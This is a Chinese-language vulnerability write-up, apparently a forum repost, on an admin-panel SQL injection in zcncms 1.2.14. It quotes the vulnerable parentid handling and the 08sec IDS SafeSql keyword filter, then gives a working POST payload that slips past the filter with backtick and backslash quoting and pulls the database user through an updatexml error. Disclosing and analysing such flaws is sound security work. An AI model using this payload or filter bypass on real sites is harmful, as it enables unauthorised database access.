from:小黑屋
由于是后台注入,比较鸡肋,发上来供大家相互参考学习。zcncms版本1.2.14,官方网站地址:
zcncms
0x01 变量处理
文件/include/common.inc.php中
//检查和注册外部提交的变量 foreach($_REQUEST as $_k=>$_v) { //if( strlen($_k)>0 && eregi('^(GLOBALS)',$_k) ) if( strlen($_k)>0 && preg_match('/^(GLOBALS)/i',$_k) ) { exit('Request var not allow!'); } } ------------------------------------------------------------------- //foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消cookie自动生成变量 foreach(Array('_GET','_POST') as $_request) { foreach($$_request as $_k => $_v) { //------------------20130128校验变量名 if(strstr($_k, '_') == $_k){ echo 'code:re_all'; exit; } //可考虑增加变量检测,减少变量覆盖 //-------------------------- ${$_k} = _GetRequest($_v); } }
过滤变量的key是”_p”和”GLOBALS p”的形式,防止全局变量覆盖;并在函数_GetRequest()中进行了addslashes的操作。了解了上面的情况,那么有什么可利用的点就比较清楚了。
0x02 未正确过滤
文件/module/menus/admincontroller/menus.php
case 'edit':// if(isset($submit)){ $info = array(); $time = time(); if(isset($id)){ $id = intval($id); if($id <= 0){ errorinfo('变量错误',''); } $infoold = $menus->GetInfo('',' id = '.$id); //改变分类从属判断 if($parentid != $infoold['parentid']) { //毫无意义的比较 $List = $menus->GetList('',0,1," parentid = $id ",''); //恰当的id if(!empty($List)) { errorinfo('对不起,该导航('.$id.')下有子导航',''); } } } //分析根分类 if($parentid == 0) { $rootid = 0; } else{ $parent = $menus->GetInfo('',' id = '.$parentid); //没有单引号
在$parentid != $infoold[‘parentid’]中,用的’!=’,很明显如果我们要控制$parentid的值,这个不等式肯定成立。但是errorinfo会使程序退出,所以这里需要一个在数据库不存在的parentid,使得取出$List为空,从而进入下面的sql操作
$parent = $menus->GetInfo('',' id = '.$parentid);
0x03 全局过滤(08sec ids)
在进行尝试的时候,发现了sql执行居然还有过滤
追踪sql语句执行函数,GetInfo()->Execute()->option()->SafeSql()
function SafeSql($db_string,$querytype='select'){ //var_dump($db_string); //完整的SQL检查 //$pos = ''; //$old_pos = ''; $pos = 0; $old_pos = 0; $clean = ''; if(empty($db_string)){ return false; } while (true){ $pos = strpos($db_string, '\'', $pos + 1); if ($pos === false) { break; } $clean .= substr($db_string, $old_pos, $pos - $old_pos); while (true) { $pos1 = strpos($db_string, '\'', $pos + 1); $pos2 = strpos($db_string, '\\', $pos + 1); if ($pos1 === false) { break; } elseif ($pos2 == false || $pos2 > $pos1) { $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它 if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) { $fail = true; $error="union detect"; } //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们 elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false) { $fail = true; $error="comment detect"; } //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库 elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) { $fail = true; $error="slown down detect"; } elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0) { $fail = true; $error="slown down detect"; } elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0) { $fail = true; $error="file fun detect"; } elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0) { $fail = true; $error="file fun detect"; } //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) { $fail = true; $error="sub select detect"; } if (!empty($fail)) { //fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); } else { return $db_string; } } } ?>
从代码和警告信息来看,是08sec的通用ids无疑,包括dedecms等内置这个这段代码。网上已经有较多的绕过方式。
构造payload:
zcncms/admin/?c=products_class&a=edit&id=1 POST: submit=&parentid=12=@`\\\'` and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`
0x04 多处类似处理不当
搜索了一下代码,发现多处parentid处理不当,不过都需要后台权限